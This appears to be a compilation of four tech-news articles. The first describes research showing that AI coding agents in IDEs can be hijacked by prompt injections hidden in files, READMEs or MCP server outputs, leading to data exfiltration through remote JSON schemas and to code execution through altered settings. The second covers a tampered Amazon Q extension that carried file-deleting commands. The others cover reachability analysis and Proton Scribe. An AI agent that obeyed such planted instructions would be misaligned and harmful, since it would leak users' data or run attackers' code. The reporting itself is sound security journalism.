A six-month research into AI-based development tools has disclosed over thirty security bugs that allow remote code execution (RCE) and data exfiltration. The findings by IDEsaster research revealed how AI agents deployed in IDEs like Visual Studio Code, Zed, JetBrains products and various commercial assistants can be tricked into leaking sensitive data or launching hacker-controlled code.
The research reports that 100% of tested AI IDEs and coding agents were vulnerable. Impacted products include GitHub, Windsurf, Copilot, Cursor, Kiro.dev, Zed.dev, Roo Code, Junie, Cline, Gemini CLI, and Claude Code. At least twenty-four assigned CVEs and additional AWS advisories were also included.
The main problem comes from the way AI agents interact with IDE features. Autonomous components that could read, edit, and create files were never intended for these editors. Once-harmless features turned become attack surfaces when AI agents acquired these skills. In their threat model, all AI IDEs essentially disregard the base software. Since these features have been around for years, they consider them to be naturally safe.
However, the same functionalities can be weaponized into RCE primitives and data exfiltration once autonomous AI bots are included. The research reported that this is an IDE-agnostic attack chain.
It begins with context hacking via prompt-injection. Covert instructions can be deployed in file names, rule files, READMEs, and outputs from malicious MCP servers. When an agent reads the context, the tool can be redirected to run authorized actions that activate malicious behaviours in the core IDE. The last stage exploits built-in features to steal data or run hacker code in AI IDEs sharing core software layers.
Writing a JSON file that references a remote schema is one example. Sensitive information gathered earlier in the chain is among the parameters inserted by the agent that are leaked when the IDE automatically retrieves that schema. This behavior was seen in Zed, JetBrains IDEs, and Visual Studio Code. The outbound request was not suppressed by developer safeguards like diff previews.
Another case study uses altered IDE settings to show complete remote code execution. An attacker can make the IDE execute arbitrary code as soon as a relevant file type is opened or created by updating an executable file that is already in the workspace and then changing configuration fields like php.validate.executablePath. Similar exposure is demonstrated by JetBrains utilities via workspace metadata.
According to the IDEsaster report, “It’s impossible to entirely prevent this vulnerability class short-term, as IDEs were not initially built following the Secure for AI principle. However, these measures can be taken to reduce risk from both a user perspective and a maintainer perspective.”
A contemporary cyber incident involving Amazon’s AI-powered coding assistant, Amazon Q, has raised serious concerns about the safety of developer tools and the risks of software supply chain attacks.
The issue came to light after a hacker managed to insert harmful code into the Visual Studio Code (VS Code) extension used by developers to access Amazon Q. This tampered version of the tool was distributed as an official update on July 17 — potentially reaching thousands of users before it was caught.
According to media reports, the attacker submitted a code change request to the public code repository on GitHub using an unverified account. Somehow, the attacker gained elevated access and was able to add commands that could instruct the AI assistant to delete files and cloud resources — essentially behaving like a system cleaner with dangerous privileges.
The hacker later told reporters that the goal wasn’t to cause damage but to make a point about weak security practices in AI tools. They described their action as a protest against what they called Amazon’s “AI security theatre.”
Amazon’s response and the fix
Amazon acted smartly to address the breach. The company confirmed that the issue was tied to a known vulnerability in two open-source repositories, which have now been secured. The corrupted version, 1.84.0, has been replaced with version 1.85, which includes the necessary security fixes. Amazon stated that no customer data or systems were harmed.
Bigger questions about AI security
This incident highlights a growing problem: the security of AI-based developer tools. Experts warn that when AI systems like code assistants are compromised, they can be used to inject harmful code into software projects or expose users to unseen risks.
Cybersecurity professionals say the situation also exposes gaps in how open-source contributions are reviewed and approved. Without strict checks in place, bad actors can take advantage of weak points in the software release process.
What needs to change?
Security analysts are calling for stronger DevSecOps practices — a development approach that combines software engineering, cybersecurity, and operations. This includes:
• Verifying all updates through secure hash checks,
• Monitoring tools for unusual behaviour,
• Limiting system access permissions and
• Ensuring quick communication with users during incidents.
They also stress the need for AI-specific threat models, especially as AI agents begin to take on more powerful system-level tasks.
The breach is a wake-up call for companies using or building AI tools. As more businesses rely on intelligent systems to write, test, or deploy code, ensuring these tools are secure from the inside out is no longer optional, it’s essential.
Over the past few years, AI assistants have made coding easier for developers in that one is able to quickly develop and push code over to GitHub, among others. But with so much automation going on, the risk of coding vulnerabilities has also increased. The vast majority of those generated codes have security flaws. What has befallen the application security teams is a lot of vulnerability reports pouring in. But lately, Snyk has found that 31% of these vulnerability reports are completely false positives added to the burden of security teams.
In such cases, many teams tend to use a method called reachability analysis, which usually helps the security expert screen out noise and work only with the vulnerabilities that might be exploited during an attack-upon only accessible code during said attack. Since only 10% to 20% of the imported code is even used by any application on average, this approach cuts the number of reported vulnerabilities that developers have to fix in half. Joseph Hejderup, technical staff member at Endor Labs, demonstrated this approach during the SOSS Community Day Europe 2024 and talked about how it makes vulnerability reports more actionable.
False Positive Overload
The biggest problem of application security is false positives. The sooner security teams can ship out more code, the larger their impact will be as your security tool begins to flag issues that are not actually a risk. According to Snyk, 61% of the developers believe that the enhancement of false positives is due to automation. To the eyes of the security teams, sorting hundreds or thousands reported vulnerabilities in numerous projects becomes a daunting task.
According to Randall Degges, head of developer relations at Snyk, reachability analysis helps by narrowing down exactly which vulnerabilities are really dangerous. This calms the security teams, since they can now focus on issues being actively executed in the code. Filtering out the kind of vulnerabilities that attackers cannot reach makes companies remediate by as much as 60%. And as OX Security research put it, in some cases, teams even reduced the workload by nearly 99.5%, making improvements to the developers.
Reducing developer friction
It's not just about workload reduction, but rather reporting fewer, more accurate vulnerabilities back to developers, says Katie Teitler-Santullo, a cybersecurity strategist at OX Security. "Tools that focus on real risks over bombarding developers with false alerts improve collaboration and efficiency," she says.
The hardest part is to eliminate the noise that security tools produce, keeping the developers in the same pace with the growth of development while still having a secure solution. Focusing on reachability ensures that the reported vulnerabilities are really relevant to the code being worked on, allowing developers to tackle key issues without fear of information paralysis.
Two Approaches to Reachability Analysis
There are two primary ways of reachability analysis. The first of these is static code analysis-in the process, the code itself is analysed and a graph of function calls is constructed to determine whether vulnerable code can be executed. This method works but is not failsafe as some of the functions may only be called under specific conditions.
The second approach involves instrumenting the application to track code execution during runtime. This really gives a live snapshot of which parts are really being used, so you will be able to immediately know if the identified vulnerability is something that poses an actual threat.
While the current reachability analysis tools mainly focus on whether code is being executed, the future of this technology involves determining if vulnerable code is indeed exploitable. According to Hejderup, the next step in reaching that milestone of making security testing even more effective would be the combination of reachability with exploitability analysis.
Finally, reachability analysis offers an effective solution to the problem of vulnerability overload. This is because it allows security teams to remove extraneous reports and focus only on reachable, exploitable code. This approach reduces workloads and generates better collaboration between security teams and development teams. As companies adopt this way of doing things, the future of application security testing will be more complex, such that only the most crucial vulnerabilities are flagged and then fixed.
Reachability analysis isn't going to be a silver bullet, perhaps, but it is going to be a pretty useful tool in an era where code is being developed and deployed faster than ever-and the risks of ignorance on security have never been higher.
Proton, a company known for its commitment to privacy, has announced a paradigm altering update to its AI-powered email assistant, Proton Scribe. The tool, which helps users draft and proofread emails, is now available in eight additional languages: French, German, Spanish, Italian, Portuguese, Russian, Chinese, and Japanese. This expansion enables users to write emails in languages they may not be proficient in, ensuring that their communications remain accurate and secure. Proton Scribe is particularly designed for those who prioritise privacy, offering a solution that keeps their sensitive information confidential.
What sets Proton Scribe apart from other AI services is its focus on privacy. Unlike many AI tools that process data on external servers, Proton Scribe can operate locally on a user’s device. This means that the data never leaves the user's control, offering an added layer of security. For users who prefer not to run the service locally, Proton provides a no-logs server option, which also ensures that no data is stored or shared. Moreover, users have the flexibility to disable Proton Scribe entirely if they choose. This approach aligns with Proton’s broader mission of enabling productivity without compromising privacy.
The introduction of these new languages follows overwhelming demand from Proton’s user base. Initially launched for business users, Proton Scribe quickly gained traction among consumers seeking a private alternative to conventional AI tools. By integrating Proton Scribe directly into Proton Mail, users can now manage their email communications securely without needing to rely on third-party services. Proton has also expanded access to Scribe, making it available to subscribers of the Proton Family and Proton Duo plans, in addition to Proton Mail Business users who can add it on as a feature.
Proton’s commitment to privacy is further emphasised by its use of zero-access encryption. This technology ensures that Proton itself has no access to the data users input into Proton Scribe. Unlike other AI tools that might be trained using data from user interactions, Proton Scribe operates independently of user data. This means that no information typed into the assistant is retained or shared with third parties, providing users with peace of mind when managing sensitive communications.
Eamonn Maguire, head of machine learning at Proton, underlined the company's dedication to privacy-first solutions, stating that the demand for a secure AI tool was a driving force behind the expansion of Proton Scribe. He emphasised that Proton’s goal is to provide tools that enable users to maintain both productivity and privacy. With the expansion of Proton Scribe’s language capabilities and its availability across more subscription plans, Proton is making it easier for a broader audience to access secure AI tools directly within their inboxes.
Proton continues to set itself apart in the crowded field of AI-driven services by prioritising user privacy at every step. For those interested in learning more about Proton Scribe and its features, Proton has provided additional details in their official blog announcement.